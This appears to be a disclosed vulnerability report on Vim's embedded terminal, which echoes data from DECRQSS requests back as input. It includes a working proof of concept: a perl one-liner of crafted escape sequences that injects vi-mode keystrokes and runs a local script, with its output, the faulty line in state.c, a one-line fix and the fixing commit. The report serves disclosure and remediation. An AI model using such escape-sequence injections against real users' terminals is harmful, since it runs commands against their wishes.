Vim's embedded terminal allows injection via DECRQSS response in vim/vim
Reported on
Jul 18th 2023
Description
DECRQSS is a terminal response that replies with certain information about the terminal. Various terminals have bugs where a piece of data from the request (i.e. data that the terminal receives) is echoed back in the reply. In some cases this is enough to make it so if untrusted data reaches the terminal a command can be run against the user's wishes.
One example of a place I found where such injection could take place is less: https://www.openwall.com/lists/oss-security/2023/02/07/7 which is a common program for people to run in a terminal.
Proof of Concept
Do some setup:
bash
HISTFILE=/dev/null
history -c
EDITOR=vi
set -o vi
echo 'printf "\e[31myou got owned"' > ./x && chmod +x ./x
Then:
perl -le'print "\eP\$q;v\e\\ \eP\$q d\$\e\\ \eP\$q d\$\e\\ \n \eP\$q.A\e\\ \eP\$q/x\e\\ \eP\$qxA \e\\ \eP\$q x\e\\ \eP\$q ZZ\e\\"'
We get something like:
dgl@dev4:~$ ;
./x
you got owned
Impact
Achieving code execution, if the user uses the embedded terminal in Vim and happens to receive some attacker controlled data.
Occurrences
state.c L2007
This is the place where the reply is sent.
The fix is as simple as replacing that line with:
vterm_push_output_sprintf_str(state->vt, C1_DCS, TRUE, "0$r");
i.e. drop the parameter. Because the parameter here is only a few characters (some other terminals allowed many more characters) it is very difficult to make a reliable exploit for Vim, but it still should be fixed.
One interesting detail here is the xterm ctlseqs documentation was never updated despite the fix in xterm (reference below), so at least 4 other terminals have incorrectly implemented this behaviour. I've since got Thomas Dickey to update ctlseqs.
It looks like this has been fixed in the meantime by https://github.com/vim/vim/commit/b00df7aa388994119346a21d77b0d0db2a0a5e9f
Thanks